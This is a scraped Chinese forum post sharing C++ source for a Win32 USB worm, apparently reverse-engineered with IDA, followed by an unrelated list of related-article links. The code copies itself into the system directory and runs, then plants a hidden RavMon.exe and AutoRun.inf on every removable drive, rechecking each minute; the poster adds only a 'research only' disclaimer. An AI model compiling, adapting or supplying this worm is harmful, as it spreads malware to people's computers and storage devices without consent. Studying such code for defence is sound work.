该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

一个简单的C++编写的u盘病毒代码

一个win32下能用的U盘病毒 研究原理可以 别编译拿去害人就行 (ring3的病毒貌似也害不了人) 前久用IDA逆向出来的 感兴趣的可以看看。。。#include#include BOOL UDevice(); void ResourceToFile(char *filename,char *Name,char* Type); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { UDevice(); return 0; } BOOL UDevice() { while(1) { char Name[256]="H:\\"; char szName[256]; char ToPath[256]; char infPath[256]; char OpenUDevice[79]; UINT retType; memset(szName, 0, 256); memset(ToPath, 0, 256); memset(infPath, 0, 256); memset(OpenUDevice, 0, 79); //do //{ //}while() //遍历盘符 unsigned char i = 0x42; for(; i < 0x5B; i += 0x1) { Name[0] = i; retType = GetDriveType(Name); //判断是否是可移动存储设备 if(retType == DRIVE_REMOVABLE) { //得到自身文件路径 GetModuleFileName(NULL, szName, 256); //比较是否和U盘的盘符相同 if(strncmp(Name, szName, 1) == 0) { //得到系统目录 GetSystemDirectory(ToPath, 256); strcat(ToPath,"\\Uinfect.exe"); //把自身文件复制到系统目录 if(CopyFile(szName, ToPath, TRUE)) { WinExec(ToPath, 0);//运行程序 } strcpy(OpenUDevice, "explorer "); strcat(OpenUDevice, Name); //打开U盘 WinExec(OpenUDevice,1); return 0; } else { strcpy(ToPath, Name); strcat(ToPath,"\\RavMon.exe"); strcpy(infPath,Name); strcat(infPath,"\\AutoRun.inf"); //还原U盘上的文件属性 SetFileAttributes(ToPath,FILE_ATTRIBUTE_NORMAL); SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL); //删除原有文件 DeleteFile(ToPath); DeleteFile(infPath); //释放AutoRun.inf到U盘 ResourceToFile(infPath, (char*)0x64, (char*)256); //拷贝自身文件到U盘 CopyFile(szName,ToPath,FALSE); //把这两个文件设置成系统,隐藏属性 //这里我查了MSDN 因为第二个参数的宏可能用了或位运算,所以推导宏定义有点麻烦 SetFileAttributes(ToPath, 0x6); SetFileAttributes(infPath, 0x6); } } } //一分钟检测一次U盘 Sleep(60000); } } void ResourceToFile(char *filename,char *Name,char* Type){ //寻找自身进程中的资源 HRSRC hRes = FindResource(NULL,Name,Type); if(hRes==NULL) return; //导入资源 HGLOBAL hgRes = LoadResource(NULL, hRes); if(hgRes==NULL) return; //锁定资源 void *pRes = LockResource(hgRes); if(pRes==NULL) return; //得到资源字节数 DWORD size = SizeofResource(NULL, hRes); if(size==0) return; //创建文件 HANDLE hFile = CreateFile(filename, 0x40000000, 0, 0, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0); if(hFile==INVALID_HANDLE_VALUE) return; DWORD dwWrite; //把资源写入到文件 if(!WriteFile(hFile, pRes, size, &dwWrite, 0)) return; //关闭文件句柄 CloseHandle(hFile); //释放资源 GlobalFree(hgRes);}

c语言编写u盘杀毒软件,一个简单的C++编写的u盘病毒代码相关推荐

  1. 一个简单的makefile编写VCS仿真

    一个简单的makefile编写VCS仿真 1 VCS简介 VCS是编译型Verilog模拟器,它完全支持OVI标准的Verilog HDL语言.PLI和SDF. VCS具有行业中较高的模拟性能,其出色 ...

  2. c语言12之编程设计一个简单的计算器程序,要求根据用户从键盘输入的表达式:操作数1 运算符op 操作数2 计算表达式的值,指定的运算符为加减乘除。

    题目: 设计一个简单的计算器程序,要求根据用户从键盘输入的表达式: 操作数1 运算符op 操作数2 计算表达式的值,指定的运算符为加减乘除. 源代码: #include<stdio.h> ...

  3. 2021-05-19 一个简单有趣的LQR控制可视化例子及代码

    来源:https://github.com/aerojunkie/control-tools/blob/master/ufo_rotate.m 一个简单的LQR例子 close all% Initia ...

  4. python可以做机器人吗_零基础如何用Python写一个简单的WeChat机器人?(内附代码)...

    (bing图片) python这两年热火朝天,依托其众多类库,基于python的应用层出不穷,也大大降低了非计算机专业人员的入门门槛,WeChat机器人自然不在话下!-- 聪明的瓦肯人 苦于有时候总是 ...

  5. jquery手写轮播图_用jQuery如何手写一个简单的轮播图?(附代码)

    用jQuery如何手写一个简单的轮播图?下面本篇文章通过代码示例来给大家介绍一下.有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助. 用 jQuery 手写轮播图 先上个效果截图: 主要 ...

  6. 用C语言实现一个简单的扫雷小游戏(附全代码及教程)

    本文实例为大家分享了C语言实现扫雷游戏的具体代码,供大家参考,具体内容如下: 首先,创建一个text.c文件: 编写主函数: int main() {test();return 0; } 定义test ...

  7. c语言点餐系统感悟,一个简单C语言点餐系统的学习心得

    首先附上源代码: 1 #include 2 3 voidmain_munu(){4 //打印主菜单 5 char a[6][20]={"菜单","凉菜",&qu ...

  8. win32c语言编程实例,实例分析一个简单的Win32程序

    本文较为详细的分析了一个Win32程序的组成.结构.实现方法及运行原理,对于进行Windows程序设计有很好的借鉴参考价值.分享给大家供大家参考之用.具体分析如下: 一.Windows程序与普通C或C ...

  9. Linux开发板U盘没有反应,一个简单的开发板挂载U盘的问题

    今天开始继续研究Linux+ARM,我自己的任务.个中问题,自己总结一下. U盘插入开发板之后,DNW串口是有反应的,数据如下: [root@FriendlyARM /]# usb 1-1: USB ...

最新文章

  1. C++11中default的使用
  2. Eclipse error: “The import XXX cannot be resolved”
  3. Spring实战 MethodInvokingJobDetailFactoryBean使用与分析
  4. 未能加载文件或程序集“Poderosa.Core
  5. LeetCode算法入门- Merge Two Sorted Lists -day15
  6. 明微电子发布2021年三季度财报
  7. perf-perf stat用户层代码分析
  8. iOS6兼容之前版本的旋屏总结
  9. 【C/C++】成员变量的初始化顺序
  10. python抓取疫情数据_python 爬取疫情数据
  11. Python如何输出格式清晰的dict
  12. 菜鸟Spring Cloud入门教程
  13. 数字电路实验 04 - | 组合逻辑电路的设计与测试
  14. java中exec命令,关于进程:Java exec linux命令
  15. redis+mc review
  16. 初识EMC元器件(四)——共模电感选型及应用
  17. 网络攻防——黛蛇蠕虫病毒
  18. JS逆向 | 某春秋网m3u8数据解密
  19. 分表、分库、分片和分区
  20. 机器学习 · 总览篇 III 统计推断: 频率学派和贝叶斯学派

热门文章

  1. 机器学习番外篇—朴素贝叶斯三种模型(多项式,高斯,伯努利)
  2. Robotstudio基础教程之系统创建
  3. 使用Docker还是Rocket?也许可以一起来
  4. 如何在xcode7上打包越狱系统可用的ipa文件
  5. 干货!如何录制电脑屏幕gif动图?
  6. TOJ 3471.Happy XiaoXiao Guo
  7. vbs小程序图标更改方法
  8. 浏览器如何解析HTML字符编码
  9. 全国民用建筑工程设计技术措施给水排水
  10. 四个视角,讲透额温枪应用设计中的运放问题